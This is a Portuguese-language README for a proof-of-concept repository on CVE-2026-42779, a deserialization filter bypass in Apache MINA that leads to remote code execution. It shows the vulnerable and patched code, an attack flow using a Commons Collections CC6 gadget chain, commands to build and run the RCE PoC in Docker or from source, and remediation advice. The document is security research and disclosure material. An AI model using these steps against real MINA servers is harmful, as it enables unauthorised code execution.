
Prova de conceito demonstrando uma bypass do filtro de desserialização no Apache MINA que leva à execução remota de código, com análise detalhada da causa raiz, PoCs de exploração e orientações de remediação.
CVSS 3.1: 9.8 CRÍTICO AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-502 Desserialização de Dados Não Confiáveis
Reporter: Venkatraman Kumar, Securin
Advisory: Lista de Discussão do Apache
As versões 2.1.0 a 2.1.11 e 2.2.0 a 2.2.6 do Apache MINA contêm um bypass do filtro de desserialização em AbstractIoBuffer.resolveClass(). A lista de permissões acceptMatchers — criada para restringir quais classes Java podem ser desserializadas — é completamente ignorada quando ObjectStreamClass.forClass() retorna null.
Um atacante com acesso de rede a um endpoint MINA que utiliza ObjectSerializationCodecFactory pode criar um payload de protocolo que contorna o filtro de classes, permitindo por meio de cadeias de gadgets de desserialização Java padrão (por exemplo, Commons Collections).
Esta é uma correção incompleta para o CVE-2026-41635. O patch original foi aplicado ao branch 2.0.x, mas nunca foi portado para 2.1.x ou 2.2.x devido a um descuido no merge.
| Branch | Vulnerável | Corrigido |
|---|---|---|
| 2.1.x | 2.1.0 – 2.1.11 | 2.1.12 |
| 2.2.x | 2.2.0 – 2.2.6 | 2.2.7 |
A vulnerabilidade está em AbstractIoBuffer.resolveClass(), que lida com a resolução de classes durante a desserialização de objetos Java.
O MINA usa um protocolo de serialização personalizado com dois tipos de descritores de classe:
No código vulnerável, o filtro acceptMatchers é verificado apenas no branch do tipo 1 (quando forClass() retorna não-null). O branch do tipo 0 chama Class.forName() diretamente, contornando o filtro por completo:
// AbstractIoBuffer.java — VULNERÁVEL (2.2.6)
protected Class<?> resolveClass(ObjectStreamClass desc) {
Class<?> clazz = desc.forClass();
if (clazz == null) {
// BUG: Nenhuma verificação de acceptMatchers — filtro completamente ignorado
return Class.forName(name, false, classLoader);
} else {
// Filtro aplicado apenas aqui
for (ClassNameMatcher matcher : acceptMatchers) { ... }
}
}
A correção no 2.2.7 move a verificação do filtro antes do branch:
// AbstractIoBuffer.java — CORRIGIDO (2.2.7)
protected Class<?> resolveClass(ObjectStreamClass desc) {
String className = desc.getName();
// Filtro aplicado PRIMEIRO, independentemente do resultado de forClass()
if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
throw new ClassNotFoundException("Class not in accept list " + className);
}
Class<?> clazz = desc.forClass();
// ... resolução segura em seguida
}
Atacante Servidor MINA Vulnerável
| |
| 1. Cria payload MINA com descritores |
| tipo-0 para classes da cadeia de gadgets |
| |
| 2. Envia para endpoint que usa |
| ObjectSerializationCodecFactory -------->|
| |
| 3. readClassDescriptor() lê tipo-0 |
| → delega para super (Java padrão)|
| |
| 4. resolveClass() vê forClass()==null
| → Class.forName() SEM filtro |
| |
| 5. Cadeia de gadgets totalmente |
| desserializada |
| → readObject() dispara a cadeia |
| → Runtime.exec() é executado |
| |
| RCE ALCANÇADO |
IoBuffer.getObject() ou ObjectSerializationCodecFactoryaccept() configurado (aplicações sem filtro já eram exploráveis via CVE-2026-41635)O atacante controla o fluxo de bytes serializado. Ao usar descritores de classe tipo-0 (em vez de tipo-1) para classes Serializable da cadeia de gadgets, toda classe no grafo de desserialização contorna o filtro acceptMatchers, independentemente da configuração da lista de permissões da aplicação.
Três PoCs demonstram impacto crescente:
| PoC | O que prova |
|---|---|
FilterBypassPoC.java | Bypass do filtro para primitivos, classes não-Serializable, arrays |
CraftedBypassPoC.java | Payloads tipo-0 criados pelo atacante contornam o filtro para QUALQUER classe Serializable |
RcePoC.java | RCE completo via cadeia de gadgets CC6 através do bypass do filtro |
Classes fora da lista de aceitação são desserializadas sem restrição:

Um atacante cria payloads de protocolo MINA com descritores tipo-0 para carregar qualquer classe além de uma lista de aceitação apenas com String:

A cadeia de gadgets variante CC6 (HashSet → TiedMapEntry → LazyMap → ChainedTransformer → Runtime.exec()) alcança execução de comandos através do bypass do filtro:

Os mesmos testes são bloqueados na versão corrigida:

A cadeia de gadgets é rejeitada pelo filtro:

A forma mais rápida de testar — sem necessidade de JDK ou Maven:
# Clone este repositório
git clone https://github.com/dinosn/CVE-2026-42779.git
cd CVE-2026-42779
# Compile e execute todos os PoCs
docker build -t cve-2026-42779 .
docker run --rm cve-2026-42779
# Execute PoCs individuais
docker run --rm cve-2026-42779 bypass # Apenas bypass do filtro
docker run --rm cve-2026-42779 crafted # Bypass com payload criado
docker run --rm cve-2026-42779 rce # RCE completo
# Entre em um shell para explorar
docker run --rm -it cve-2026-42779 shell
A imagem inclui o JAR vulnerável do MINA 2.2.6, Commons Collections 3.2.2 e os três PoCs pré-compilados. Tudo é executado de forma autônoma dentro do contêiner.
Se preferir compilar a partir do código-fonte:
# Clone e compile a versão vulnerável
git clone https://github.com/apache/mina.git /tmp/apache-mina
cd /tmp/apache-mina
git checkout 2.2.6
mvn install -pl mina-core -DskipTests -q
# Baixe commons-collections (para o PoC de RCE)
curl -sL "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar" \
-o commons-collections-3.2.2.jar
# Compile os PoCs
javac -cp mina-core/target/mina-core-2.2.6.jar FilterBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar RcePoC.java
# Execute o PoC de bypass do filtro
java -cp .:mina-core/target/mina-core-2.2.6.jar FilterBypassPoC
# Execute o PoC de payload criado
java -cp .:mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC
# Execute o PoC de RCE completo
java -Dorg.apache.commons.collections.enableUnsafeSerialization=true \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-cp .:mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar \
RcePoC
Ou use o Makefile incluído:
make run-all # Compile e execute os três PoCs
make run-rce # Apenas o PoC de RCE
Requisitos: JDK 11+ e Maven (para compilação a partir do código-fonte) ou Docker (para contêiner)
Atualize para o Apache MINA 2.1.12 ou 2.2.7.
Se a atualização não for imediatamente possível:
IoBuffer.getObject() ou ObjectSerializationCodecFactory com entrada não confiável| Data | Evento |
|---|---|
| 2026-05-01 | Advisory publicado pelo Apache MINA PMC |
| 2026-05-01 | Versões corrigidas 2.1.12 e 2.2.7 lançadas |
| 2026-05-02 | Este PoC desenvolvido e testado |
Esta prova de conceito é fornecida apenas para pesquisa de segurança defensiva, educação e testes de penetração autorizados. Use com responsabilidade e apenas contra sistemas nos quais você tem permissão para testar.